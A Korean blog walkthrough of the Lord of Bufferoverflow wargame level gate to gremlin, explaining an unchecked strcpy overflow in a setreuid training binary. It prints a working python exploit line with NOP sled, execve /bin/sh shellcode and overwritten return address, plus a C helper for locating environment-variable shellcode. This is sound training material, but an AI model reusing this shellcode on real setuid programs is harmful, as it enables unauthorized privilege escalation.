[LOB] level1, gate -> gremlin 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 3. 22:58
해커스쿨의 Lord Of Bufferoverflow(LOB) 는 여러 bof 문제를 경험할 수 있는 환경?으로 보통 FTZ를 끝마쳤으면 LOB를 풀게된다. 2017년도에 풀고 블로그에 풀이를 올렸었는데 블로그를 여기로 이전하는 바람에 다시 작성하게 되었다.
초기설정
초기설정을 해놓치 않고 시작하면 엄청난 삽질을 경험할 수 있다. 난 링크(LOB 다운로드 & 초기설정)를 참고해서 초기설정을 진행해주었다. 초기설정은 아래와 같이 /etc/passwd의 bash를 전부 bash2로 변경하는 작업이다.
그다음 IP주소를 확인해주고 XShell이든 Putty든 연결해준다. 난 앞으로 XShell을 사용해서 문제풀이를 진행하도록 하겠다.
LOB, gate -> gremlin 문제 확인
gate -> gremlin 문제는 FTZ 초기 bof 문제와 매우 유사하게 strcpy 취약점에 대해 묻고있다. char형 배열 buffer은 256 크기를 갖고있는데 strcpt로 길이체크가 수행되지 않은 argv[1]을 buffer에 복사하고 있기 때문에 버퍼오버플로우 취약점일 발생하게 된다.
여기서 한가지 알고 넘어가야 할 것은, 해당 바이너리의 취약점을 실행해서 쉘을 실행시켰을 때 gremlin의 패스워드를 알아낼 수 있는 이유는 gremlin 바이너리에 setreuid가 걸려있기 때문이다. setreuid가 걸려있으면 해당 프로세스가 실행중인 동안에는 setreuid로 설정해준 권한으로 상승하게 된다.
LOB, gate -> gremlin 풀이
gdb로 확인해보니 딱 256바이트만큼 버퍼를 할당하고 있다(dummy는 없는 것 같다).
따라서 스택 상황은 아래와 같다.
buffer | SFP | RET |
256 | 4 | 4 |
그럼, 버퍼 시작주소를 알아내기 위해 strcpy 바로 다음인 main+59에 bp를 건다.
그럼 아래와 같이 익스플로잇 코드를 구성할 수 있다. 근데 이게 계속 안돼서 ㅇㅅㅇ 삽질을 하다가 원래 쓰던 익스플로잇 코드말고 다른 코드를 쓰기로 했다.
`python -c 'print
"\x90"*236
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"\x08\xfa\xff\xff"'`
총 23바이트이기 때문에 앞에 \x90을 237바이트 채워줬는데 Segmentation Fault 만 발생하고 쉘획득이 되지 않았기 때문에 환경변수를 사용하기로 했다. export를 사용해 환경변수에 쉘코드를 등록시켜주는데 앞에 nop을 100정도 주었다.
환경변수의 주소값을 구하는 방법으로는 아래 소스코드를 컴파일해서 사용했다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *envaddr;
envaddr = getenv(argv[1]);
printf("env address : %p\n",envaddr);
return 0;
}
LOB, gate -> gremlin 익스플로잇
따라서 RET에 쉘코드 주소만 덮어쓰면되기 때문에 앞에 nop은 260을 주면 된다.
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level6, wolfman -> darkelf 풀이 (0) | 2020.04.04 |
---|---|
[LOB] level5, orc -> wolfman 풀이 (0) | 2020.04.04 |
[LOB] level4, goblin -> orc 풀이 (0) | 2020.04.04 |
[LOB] level2, gremlin -> cobolt 풀이 (0) | 2020.04.04 |
[LOB] level3, cobolt -> goblin 풀이 (0) | 2020.04.04 |